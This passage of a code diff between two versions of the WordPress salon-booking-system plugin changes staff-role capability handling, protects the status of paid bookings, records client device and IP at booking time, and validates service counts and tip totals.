changeCapabilitiesForRole($role, $canManage) {\n+        $roleObj = get_role($role);\n+        if ($canManage) {\n+            $roleObj->add_cap('manage_salon');\n+\t    $roleObj->add_cap('manage_salon_settings');\n+\t    $roleObj->add_cap('export_reservations_csv_sln_calendar');\n+\t    $roleObj->add_cap('delete_permanently_sln_booking');\n+        } else {\n+            $roleObj->remove_cap('manage_salon');\n+            $roleObj->remove_cap('manage_salon_settings');\n+\t    $roleObj->remove_cap('export_reservations_csv_sln_calendar');\n+\t    $roleObj->remove_cap('delete_permanently_sln_booking');\n+        }\n+\n+        foreach (array(\n+            SLN_Plugin::POST_TYPE_ATTENDANT,\n+            SLN_Plugin::POST_TYPE_SERVICE,\n+            SLN_Plugin::POST_TYPE_BOOKING,\n+            SLN_Plugin::POST_TYPE_RESOURCE,\n+        ) as $k) {\n+            $postTypeObj = get_post_type_object($k);\n+            if (!is_object($postTypeObj)) {\n+                continue;\n+            }\n+            foreach ($postTypeObj->cap as $v) {\n+                if ($canManage) {\n+                    $roleObj->add_cap($v);\n+                }\n+                else {\n+                    if ($v !== 'read') {\n+                        $roleObj->remove_cap($v);\n+                    }\n+                }\n+            }\n+        }\n+    }\n+\n+    public static function addCapabilities(array $capabilities) {\n+\n+\t$role = get_role(SLN_Plugin::USER_ROLE_STAFF);\n+\n+\tforeach ($capabilities as $cap) {\n+\t\t$role->add_cap($cap, true);\n+\t}\n+    }\n+\n+    public static function removeCapabilities(array $capabilities) {\n+\n+\t$role = get_role(SLN_Plugin::USER_ROLE_STAFF);\n+\n+\tforeach ($capabilities as $cap) {\n+\t    $role->remove_cap($cap);\n+\t}\n+    }\n+\n+    public static function changeCapabilitiesByPostType($post_types, $canManage) {\n+        $roleObj = get_role(SLN_Plugin::USER_ROLE_STAFF);\n+        foreach ($post_types as $k) {\n+            $postTypeObj = get_post_type_object($k);\n+            if (!is_object($postTypeObj)) {\n+                continue;\n+            }\n+            foreach ($postTypeObj->cap as $v) {\n+                if ($canManage) {\n+                    $roleObj->add_cap($v);\n+                }\n+                else {\n+                    if ($v !== 'read') {\n+                        $roleObj->remove_cap($v);\n+                    }\n+                }\n+            }\n+        }\n+    }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FAbstract.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FAbstract.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FAbstract.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FAbstract.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -148,20 +148,45 @@\n             }\n             $this->setStatusDirectDb($currentStatus, $status);\n         } else {\n-            \u002F\u002F wp_update_post returned \"success\" but a wp_insert_post_data filter from another\n-            \u002F\u002F plugin (security, cache, SEO) may have silently overridden the status back to its\n-            \u002F\u002F previous value. Verify the status was actually written to the database.\n+            \u002F\u002F wp_update_post returned \"success\" but a wp_insert_post_data filter may have\n+            \u002F\u002F silently overridden the status. Verify the status was actually written to the DB.\n             clean_post_cache($this->getId());\n             $savedStatus = get_post_status($this->getId());\n-            \n+\n             if ($savedStatus !== $status) {\n-                SLN_Plugin::addLog(sprintf(\n-                    'setStatus SILENT FAILURE detected for post #%d: wp_update_post returned success but DB has \"%s\" instead of \"%s\". Using direct DB update...',\n-                    $this->getId(),\n-                    $savedStatus,\n-                    $status\n-                ));\n-                $this->setStatusDirectDb($currentStatus, $status);\n+                \u002F\u002F Before treating this as a \"silent failure\" caused by a third-party plugin,\n+                \u002F\u002F check whether our OWN wp_insert_post_data filter in Metabox\u002FAbstract.php\n+                \u002F\u002F intentionally blocked the change to protect a PAID\u002FCONFIRMED booking from\n+                \u002F\u002F reverting to draft.  In that case the filter is working correctly — we must\n+                \u002F\u002F NOT bypass it with a direct DB write; doing so would defeat the protection.\n+                $isOwnFilterProtection = (\n+                    in_array($savedStatus, ['sln-b-paid', 'sln-b-confirmed']) &&\n+                    in_array($status, ['auto-draft', 'draft'])\n+                );\n+\n+                if ($isOwnFilterProtection) {\n+                    \u002F\u002F The filter correctly held the paid\u002Fconfirmed status.\n+                    \u002F\u002F Align the in-memory status with the actual DB value so the caller\n+                    \u002F\u002F does not see a stale object state.\n+                    $status = $savedStatus;\n+                    SLN_Plugin::addLog(sprintf(\n+                        'setStatus: wp_insert_post_data filter correctly protected booking #%d — reversion from %s to %s was blocked. In-memory status aligned to DB (%s).',\n+                        $this->getId(),\n+                        $savedStatus,\n+                        $this->object->post_status,\n+                        $savedStatus\n+                    ));\n+                } else {\n+                    \u002F\u002F Genuine silent failure from a third-party filter (security plugin, SEO,\n+                    \u002F\u002F caching layer). Force the intended status directly to the DB.\n+                    SLN_Plugin::addLog(sprintf(\n+                        'setStatus SILENT FAILURE detected for post #%d: wp_update_post returned success but DB has \"%s\" instead of \"%s\". Using direct DB update...',\n+                        $this->getId(),\n+                        $savedStatus,\n+                        $status\n+                    ));\n+                    $this->setStatusDirectDb($currentStatus, $status);\n+                }\n             } else {\n                 SLN_Plugin::addLog(sprintf(\n                     'setStatus: wp_update_post VERIFIED for post #%d - DB status is now \"%s\"',\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FAttendant.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FAttendant.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FAttendant.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FAttendant.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,195 +1,195 @@\n-\u003C?php\r\n-\r\n-class SLN_Wrapper_Attendant extends SLN_Wrapper_Abstract implements SLN_Wrapper_AttendantInterface\r\n-{\r\n-    const _CLASS = 'SLN_Wrapper_Attendant';\r\n-    private $availabilityItems;\r\n-    private $holidayItems;\r\n-\r\n-    public function getPostType()\r\n-    {\r\n-        return SLN_Plugin::POST_TYPE_ATTENDANT;\r\n-    }\r\n-\r\n-    function getNotAvailableOn($key)\r\n-    {\r\n-        $post_id = $this->getId();\r\n-        $ret = apply_filters(\r\n-            'sln_attendant_notav_'.$key,\r\n-            get_post_meta($post_id, '_sln_attendant_notav_'.$key, true)\r\n-        );\r\n-        $ret = empty($ret) ? false : ($ret ? true : false);\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    function getEmail()\r\n-    {\r\n-        return $this->getMeta('email');\r\n-    }\r\n-\r\n-    function getPhone()\r\n-    {\r\n-        return $this->getMeta('phone');\r\n-    }\r\n-\r\n-    function getPosOrder()\r\n-    {\r\n-        $ret = $this->getMeta('order');\r\n-        $ret     = empty($ret) ? 0 : $ret;\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    function isNotAvailableOnDate(SLN_DateTime $date, SLN_Wrapper_ServiceInterface $service=null)\r\n-    {\r\n-        return !($this->getAvailabilityItems()->isValidDatetime($date, $service) && $this->getHolidayItems()->isValidDatetime($date));\r\n-    }\r\n-\r\n-    function isNotAvailableOnDateDuration(SLN_DateTime $date, DateTime $duration, SLN_Wrapper_ServiceInterface $service)\r\n-    {\r\n-        return !($this->getAvailabilityItems()->isValidDatetimeDuration($date, $duration, $service) &&\r\n-                $this->getHolidayItems()->isValidDatetimeDuration($date, $duration));\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Helper_AvailabilityItems\r\n-     *\u002F\r\n-    public function getAvailabilityItems()\r\n-    {\r\n-        if (!isset($this->availabilityItems)) {\r\n-            $this->availabilityItems = new SLN_Helper_AvailabilityItems($this->getMeta('availabilities'));\r\n-        }\r\n-        return $this->availabilityItems;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Helper_HolidayItems\r\n-     *\u002F\r\n-    public function getHolidayItems()\r\n-    {\r\n-        if (!isset($this->holidayItems)) {\r\n-            $holidays       = $this->getMeta('holidays') ?: array();\r\n-            $daily_holidays = $this->getMeta('holidays_daily') ?: array();\r\n-            $this->holidayItems = new SLN_Helper_HolidayItems(array_merge($holidays, $daily_holidays));\r\n-        }\r\n-        return $this->holidayItems;\r\n-    }\r\n-\r\n-    public function getNewHolidayItems()\r\n-    {\r\n-        $holidays       = $this->getMeta('holidays') ?: array();\r\n-        $holiday_items = new SLN_Helper_HolidayItems($holidays);\r\n-        return $holiday_items;\r\n-    }\r\n-\r\n-    public function getNotAvailableString()\r\n-    {\r\n-        return '';\r\n-    }\r\n-\r\n-    public function getServicesIds()\r\n-    {\r\n-        $ret = $this->getMeta('services');\r\n-        if (is_array($ret)) {\r\n-            $ret = array_unique($ret);\r\n-        }\r\n-\r\n-        return empty($ret) ? array() : $ret;\r\n-    }\r\n-\r\n-    public function getServices()\r\n-    {\r\n-        $ret = array();\r\n-        foreach ($this->getServicesIds() as $id) {\r\n-            $tmp = new SLN_Wrapper_Service($id);\r\n-            if (!$tmp->isEmpty()) {\r\n-                $ret[] = $tmp;\r\n-            }\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    public function hasService(SLN_Wrapper_ServiceInterface $service)\r\n-    {\r\n-        return in_array($service->getId(), $this->getServicesIds());\r\n-    }\r\n-\r\n-    public function hasServices($services)\r\n-    {\r\n-        if ($this->hasAllServices()) {\r\n-            return true;\r\n-        }\r\n-        \u002F** @var SLN_Wrapper_ServiceInterface $service *\u002F\r\n-        foreach ($services as $service) {\r\n-            if (!$this->hasService($service)) {\r\n-                return false;\r\n-            }\r\n-        }\r\n-        return true;\r\n-    }\r\n-\r\n-    public static function getArrayAttendantsValue($method, $attendants){\r\n-        $ret = array();\r\n-        foreach($attendants as $attendant){\r\n-            $ret[] = $attendant->$method();\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    public static function implodeArrayAttendantsName($separator, $attendants){\r\n-        return implode($separator, self::getArrayAttendantsValue('getName', $attendants));\r\n-    }\r\n-\r\n-    public function hasAllServices()\r\n-    {\r\n-        \u002F\u002Fan assistant without services is an assistant available for all services\r\n-        return $this->getServicesIds() ? false : true;\r\n-    }\r\n-\r\n-    public function getGoogleCalendar()\r\n-    {\r\n-        return $this->getMeta('google_calendar');\r\n-    }\r\n-\r\n-    public function getName()\r\n-    {\r\n-        return $this->getTitle();\r\n-    }\r\n-\r\n-    public function getContent()\r\n-    {\r\n-        $object = SLN_Helper_Multilingual::isMultilingual()  ? $this->translationObject : $this->object;\r\n-        if ($object) {\r\n-            if(isset($object->post_excerpt))\r\n-            return $object->post_excerpt;\r\n-        }\r\n-    }\r\n-\r\n-    public function canMultipleCustomers(){\r\n-        return $this->getMeta('multiple_customers');\r\n-    }\r\n-\r\n-    public function __toString()\r\n-    {\r\n-        return $this->getName();\r\n-    }\r\n-\r\n-    public function getIsStaffMemberAssignedToBookingsOnly() {\r\n-\treturn $this->getMeta('limit_staff_member_to_assigned_bookings_only');\r\n-    }\r\n-\r\n-    public function getIsStaffMemberToBackendCalendarOnly() {\r\n-        return $this->getMeta('limit_staff_member_to_backend_calendar_only');\r\n-    }\r\n-\r\n-    public function isDisplayPhoneInsideBookingNotification() {\r\n-\treturn $this->getMeta('display_phone_inside_booking_notification');\r\n-    }\r\n-\r\n-    public function getSmsPrefix() {\r\n-\treturn $this->getMeta('sms_prefix') ? $this->getMeta('sms_prefix') : SLN_Plugin::getInstance()->getSettings()->get('sms_prefix');\r\n-    }\r\n-}\r\n+\u003C?php\n+\n+class SLN_Wrapper_Attendant extends SLN_Wrapper_Abstract implements SLN_Wrapper_AttendantInterface\n+{\n+    const _CLASS = 'SLN_Wrapper_Attendant';\n+    private $availabilityItems;\n+    private $holidayItems;\n+\n+    public function getPostType()\n+    {\n+        return SLN_Plugin::POST_TYPE_ATTENDANT;\n+    }\n+\n+    function getNotAvailableOn($key)\n+    {\n+        $post_id = $this->getId();\n+        $ret = apply_filters(\n+            'sln_attendant_notav_'.$key,\n+            get_post_meta($post_id, '_sln_attendant_notav_'.$key, true)\n+        );\n+        $ret = empty($ret) ? false : ($ret ? true : false);\n+\n+        return $ret;\n+    }\n+\n+    function getEmail()\n+    {\n+        return $this->getMeta('email');\n+    }\n+\n+    function getPhone()\n+    {\n+        return $this->getMeta('phone');\n+    }\n+\n+    function getPosOrder()\n+    {\n+        $ret = $this->getMeta('order');\n+        $ret     = empty($ret) ? 0 : $ret;\n+\n+        return $ret;\n+    }\n+\n+    function isNotAvailableOnDate(SLN_DateTime $date, SLN_Wrapper_ServiceInterface $service=null)\n+    {\n+        return !($this->getAvailabilityItems()->isValidDatetime($date, $service) && $this->getHolidayItems()->isValidDatetime($date));\n+    }\n+\n+    function isNotAvailableOnDateDuration(SLN_DateTime $date, DateTime $duration, SLN_Wrapper_ServiceInterface $service)\n+    {\n+        return !($this->getAvailabilityItems()->isValidDatetimeDuration($date, $duration, $service) &&\n+                $this->getHolidayItems()->isValidDatetimeDuration($date, $duration));\n+    }\n+\n+    \u002F**\n+     * @return SLN_Helper_AvailabilityItems\n+     *\u002F\n+    public function getAvailabilityItems()\n+    {\n+        if (!isset($this->availabilityItems)) {\n+            $this->availabilityItems = new SLN_Helper_AvailabilityItems($this->getMeta('availabilities'));\n+        }\n+        return $this->availabilityItems;\n+    }\n+\n+    \u002F**\n+     * @return SLN_Helper_HolidayItems\n+     *\u002F\n+    public function getHolidayItems()\n+    {\n+        if (!isset($this->holidayItems)) {\n+            $holidays       = $this->getMeta('holidays') ?: array();\n+            $daily_holidays = $this->getMeta('holidays_daily') ?: array();\n+            $this->holidayItems = new SLN_Helper_HolidayItems(array_merge($holidays, $daily_holidays));\n+        }\n+        return $this->holidayItems;\n+    }\n+\n+    public function getNewHolidayItems()\n+    {\n+        $holidays       = $this->getMeta('holidays') ?: array();\n+        $holiday_items = new SLN_Helper_HolidayItems($holidays);\n+        return $holiday_items;\n+    }\n+\n+    public function getNotAvailableString()\n+    {\n+        return '';\n+    }\n+\n+    public function getServicesIds()\n+    {\n+        $ret = $this->getMeta('services');\n+        if (is_array($ret)) {\n+            $ret = array_unique($ret);\n+        }\n+\n+        return empty($ret) ? array() : $ret;\n+    }\n+\n+    public function getServices()\n+    {\n+        $ret = array();\n+        foreach ($this->getServicesIds() as $id) {\n+            $tmp = new SLN_Wrapper_Service($id);\n+            if (!$tmp->isEmpty()) {\n+                $ret[] = $tmp;\n+            }\n+        }\n+\n+        return $ret;\n+    }\n+\n+    public function hasService(SLN_Wrapper_ServiceInterface $service)\n+    {\n+        return in_array($service->getId(), $this->getServicesIds());\n+    }\n+\n+    public function hasServices($services)\n+    {\n+        if ($this->hasAllServices()) {\n+            return true;\n+        }\n+        \u002F** @var SLN_Wrapper_ServiceInterface $service *\u002F\n+        foreach ($services as $service) {\n+            if (!$this->hasService($service)) {\n+                return false;\n+            }\n+        }\n+        return true;\n+    }\n+\n+    public static function getArrayAttendantsValue($method, $attendants){\n+        $ret = array();\n+        foreach($attendants as $attendant){\n+            $ret[] = $attendant->$method();\n+        }\n+\n+        return $ret;\n+    }\n+\n+    public static function implodeArrayAttendantsName($separator, $attendants){\n+        return implode($separator, self::getArrayAttendantsValue('getName', $attendants));\n+    }\n+\n+    public function hasAllServices()\n+    {\n+        \u002F\u002Fan assistant without services is an assistant available for all services\n+        return $this->getServicesIds() ? false : true;\n+    }\n+\n+    public function getGoogleCalendar()\n+    {\n+        return $this->getMeta('google_calendar');\n+    }\n+\n+    public function getName()\n+    {\n+        return $this->getTitle();\n+    }\n+\n+    public function getContent()\n+    {\n+        $object = SLN_Helper_Multilingual::isMultilingual()  ? $this->translationObject : $this->object;\n+        if ($object) {\n+            if(isset($object->post_excerpt))\n+            return $object->post_excerpt;\n+        }\n+    }\n+\n+    public function canMultipleCustomers(){\n+        return $this->getMeta('multiple_customers');\n+    }\n+\n+    public function __toString()\n+    {\n+        return $this->getName();\n+    }\n+\n+    public function getIsStaffMemberAssignedToBookingsOnly() {\n+\treturn $this->getMeta('limit_staff_member_to_assigned_bookings_only');\n+    }\n+\n+    public function getIsStaffMemberToBackendCalendarOnly() {\n+        return $this->getMeta('limit_staff_member_to_backend_calendar_only');\n+    }\n+\n+    public function isDisplayPhoneInsideBookingNotification() {\n+\treturn $this->getMeta('display_phone_inside_booking_notification');\n+    }\n+\n+    public function getSmsPrefix() {\n+\treturn $this->getMeta('sms_prefix') ? $this->getMeta('sms_prefix') : SLN_Plugin::getInstance()->getSettings()->get('sms_prefix');\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -383,12 +383,14 @@\n             $ret = $ret + SLN_Func::filter($price, 'float');\n         }\n \n-\t$ret += SLN_Func::filter($this->getTips(), 'float');\n         $settings = SLN_Plugin::getInstance()->getSettings();\n-        if($settings->get('enable_booking_tax_calculation') && 'inclusive' !== $settings->get('enter_tax_price')){\n+        if ($settings->get('enable_booking_tax_calculation') && 'inclusive' !== $settings->get('enter_tax_price')) {\n             $ret = $ret * (1 + floatval($settings->get('tax_value')) \u002F 100);\n         }\n \n+        \u002F\u002F Tips after tax, matching SLN_Wrapper_Booking::evalTotal() and CalcBookingTotal (exclusive tax).\n+        $ret += SLN_Func::filter($this->getTips(), 'float');\n+\n         $ret = apply_filters('sln.booking_builder.getTotal', $ret, $this);\n \n         return SLN_Func::filter($ret, 'float');\n@@ -489,6 +491,22 @@\n         foreach ($this->data as $k => $v) {\n             update_post_meta($id, '_'.SLN_Plugin::POST_TYPE_BOOKING.'_'.$k, $v);\n         }\n+\n+        \u002F\u002F Capture device \u002F IP info at booking creation time (stored once, never overwritten).\n+        \u002F\u002F Skipped for admin-created bookings and REST API requests where no real browser UA is present.\n+        $is_admin_create = is_admin() && !( defined('DOING_AJAX') && DOING_AJAX );\n+        $is_rest         = defined('REST_REQUEST') && REST_REQUEST;\n+        if ( ! $is_admin_create && ! $is_rest ) {\n+            $user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '';\n+            $ip_address = $this->getClientIp();\n+            update_post_meta( $id, '_sln_booking_device_info', array(\n+                'user_agent'  => $user_agent,\n+                'ip'          => $ip_address,\n+                'parsed'      => $this->parseUserAgent( $user_agent ),\n+                'captured_at' => current_time( 'mysql' ),\n+            ) );\n+        }\n+\n         $discounts = $this->get('discounts');\n         $this->clear($id, $clear);\n         \n@@ -540,6 +558,91 @@\n \n     }\n \n+    \u002F**\n+     * Return the real client IP address, checking CDN \u002F proxy headers first.\n+     *\n+     * @return string IP address or empty string.\n+     *\u002F\n+    private function getClientIp()\n+    {\n+        $headers = array(\n+            'HTTP_CF_CONNECTING_IP', \u002F\u002F Cloudflare\n+            'HTTP_X_FORWARDED_FOR',  \u002F\u002F Most reverse proxies\n+            'HTTP_X_REAL_IP',\n+            'REMOTE_ADDR',\n+        );\n+        foreach ( $headers as $header ) {\n+            if ( ! empty( $_SERVER[ $header ] ) ) {\n+                $ip = sanitize_text_field( wp_unslash( $_SERVER[ $header ] ) );\n+                \u002F\u002F X-Forwarded-For can be a comma-separated list; take the first\n+                $ip = trim( explode( ',', $ip )[0] );\n+                if ( filter_var( $ip, FILTER_VALIDATE_IP ) ) {\n+                    return $ip;\n+                }\n+            }\n+        }\n+        return '';\n+    }\n+\n+    \u002F**\n+     * Parse a User-Agent string into platform, OS, and browser labels.\n+     *\n+     * @param  string $ua Raw User-Agent string.\n+     * @return array  Keys: platform, os, browser (all optional).\n+     *\u002F\n+    private function parseUserAgent( $ua )\n+    {\n+        if ( empty( $ua ) ) {\n+            return array( 'platform' => 'Unknown' );\n+        }\n+\n+        $parsed = array();\n+\n+        \u002F\u002F Platform \u002F device type\n+        if ( preg_match( '\u002FiPad\u002Fi', $ua ) ) {\n+            $parsed['platform'] = 'Tablet';\n+            $parsed['os']       = 'iPadOS';\n+        } elseif ( preg_match( '\u002FiPhone\u002Fi', $ua ) ) {\n+            $parsed['platform'] = 'Mobile';\n+            $parsed['os']       = 'iOS';\n+        } elseif ( preg_match( '\u002FAndroid.*Mobile\u002Fi', $ua ) ) {\n+            $parsed['platform'] = 'Mobile';\n+            $parsed['os']       = 'Android';\n+        } elseif ( preg_match( '\u002FAndroid\u002Fi', $ua ) ) {\n+            $parsed['platform'] = 'Tablet';\n+            $parsed['os']       = 'Android';\n+        } elseif ( preg_match( '\u002FWindows Phone\u002Fi', $ua ) ) {\n+            $parsed['platform'] = 'Mobile';\n+            $parsed['os']       = 'Windows Phone';\n+        } elseif ( preg_match( '\u002FWindows\u002Fi', $ua ) ) {\n+            $parsed['platform'] = 'Desktop';\n+            $parsed['os']       = 'Windows';\n+        } elseif ( preg_match( '\u002FMacintosh|Mac OS X\u002Fi', $ua ) ) {\n+            $parsed['platform'] = 'Desktop';\n+            $parsed['os']       = 'macOS';\n+        } elseif ( preg_match( '\u002FLinux\u002Fi', $ua ) ) {\n+            $parsed['platform'] = 'Desktop';\n+            $parsed['os']       = 'Linux';\n+        } else {\n+            $parsed['platform'] = 'Unknown';\n+        }\n+\n+        \u002F\u002F Browser — order matters: Edge\u002FOpera before Chrome, Chrome before Safari\n+        if ( preg_match( '\u002FEdg\\\u002F\u002Fi', $ua ) ) {\n+            $parsed['browser'] = 'Edge';\n+        } elseif ( preg_match( '\u002FOPR\\\u002F\u002Fi', $ua ) ) {\n+            $parsed['browser'] = 'Opera';\n+        } elseif ( preg_match( '\u002FChrome\\\u002F\u002Fi', $ua ) ) {\n+            $parsed['browser'] = 'Chrome';\n+        } elseif ( preg_match( '\u002FFirefox\\\u002F\u002Fi', $ua ) ) {\n+            $parsed['browser'] = 'Firefox';\n+        } elseif ( preg_match( '\u002FSafari\\\u002F\u002Fi', $ua ) ) {\n+            $parsed['browser'] = 'Safari';\n+        }\n+\n+        return $parsed;\n+    }\n+\n     private function getCreateStatus()\n     {\n         $settings = $this->plugin->getSettings();\n@@ -673,13 +776,19 @@\n \n     public function getCountService($serviceID)\n     {\n-        return isset($this->data['service_count'][$serviceID]) ? $this->data['service_count'][$serviceID] : 1;\n+        if (! isset($this->data['service_count'][$serviceID])) {\n+            return 1;\n+        }\n+        $c = (int) $this->data['service_count'][$serviceID];\n+\n+        return $c > 0 ? $c : 1;\n     }\n \n     public function addCountService($serviceID, $countService)\n     {\n         $serviceCount = $this->get('service_count') && is_array($this->get('service_count')) ? $this->get('service_count') : array();\n-        $serviceCount[$serviceID] = $countService;\n+        $c            = (int) $countService;\n+        $serviceCount[$serviceID] = $c > 0 ? $c : 1;\n \n         $this->set('service_count', $serviceCount);\n     }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FService.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FService.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FService.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FService.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -49,9 +49,11 @@\n \t\t\t$this->data['parallel_exec'] = $data['parallel_exec'];\n \t\t}\n \n-        if (!empty($data['count'])) {\n-\t\t\t$this->data['count'] = $data['count'];\n-\t\t}\n+        if (isset($data['count'])) {\n+            $c = (int) $data['count'];\n+            \u002F\u002F Never persist 0 \u002F negative counts (breaks variable-duration: price * count becomes negative; tips look like \"tip - service\").\n+            $this->data['count'] = $c > 0 ? $c : 1;\n+        }\n         if (!empty($data['resource'])) {\n             $this->data['resource'] = SLN_Plugin::getInstance()->createResource($data['resource']);\n         }\n@@ -175,8 +177,15 @@\n \t}\n \n     public function getCountServices() {\n-\t\treturn !empty($this->data['count']) ? $this->data['count'] : 1;\n-\t}\n+        if (! isset($this->data['count'])) {\n+            return 1;\n+        }\n+        $c = (int) $this->data['count'];\n+\n+        \u002F\u002F Corrupt or placeholder values (e.g. -1 from bad request\u002Fmeta) must not flip line totals negative\n+        \u002F\u002F when variable-duration pricing multiplies price * count (tips then look like \"tip - service\").\n+        return $c > 0 ? $c : 1;\n+    }\n \n     private function processBreakInfo() {\n         if (isset($this->breakProcessed)) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FServices.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FServices.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FServices.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FServices.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -169,7 +169,9 @@\n \n \t\t\t$parallelExec = $service->isExecutionParalleled();\n \n-            $count = isset($serviceCount[$service->getId()]) ? $serviceCount[$service->getId()] : 1;\n+            $rawCount = isset($serviceCount[$service->getId()]) ? $serviceCount[$service->getId()] : 1;\n+            $c        = (int) $rawCount;\n+            $count    = $c > 0 ? $c : 1;\n \n \t\t\t$services[$i] = array(\n \t\t\t\t'service'\t=> $sId,\n@@ -186,17 +188,15 @@\n                 'resource'      => $resource,\n \t\t\t);\n \t\t\tif(!$parallelExec){\n-\t\t\t\t\u002F\u002F Optimize scheduling: next service starts during previous service's break\n-\t\t\t\t\u002F\u002F This maximizes attendant utilization and minimizes customer waiting time\n \t\t\t\t$breakMinutes = SLN_Func::getMinutesFromDuration($break);\n \t\t\t\t$breakFrom = isset($break_duration_data['from']) ? intval($break_duration_data['from']) : 0;\n-\t\t\t\t\n+\n \t\t\t\tif ($breakMinutes > 0 && $breakFrom > 0 && isset($break_duration_data['to']) && $break_duration_data['to'] > $breakFrom) {\n-\t\t\t\t\t\u002F\u002F Service has a break - next service starts at break position\n+\t\t\t\t\t\u002F\u002F Custom break position: next service starts at the break window (stylist is free during break)\n \t\t\t\t\t$minutes = $breakFrom + $offset;\n \t\t\t\t} else {\n-\t\t\t\t\t\u002F\u002F No break - next service starts after current service ends\n-\t\t\t\t\t$minutes = SLN_Func::getMinutesFromDuration($duration) + $offset;\n+\t\t\t\t\t\u002F\u002F Standard case: advance by full work duration + break duration\n+\t\t\t\t\t$minutes = SLN_Func::getMinutesFromDuration($duration) + $breakMinutes + $offset;\n \t\t\t\t}\n \t\t\t\t$startsAtClone->modify('+'.$minutes.' minutes');\n \t\t\t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBookingAvailabilities.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBookingAvailabilities.php\n--- 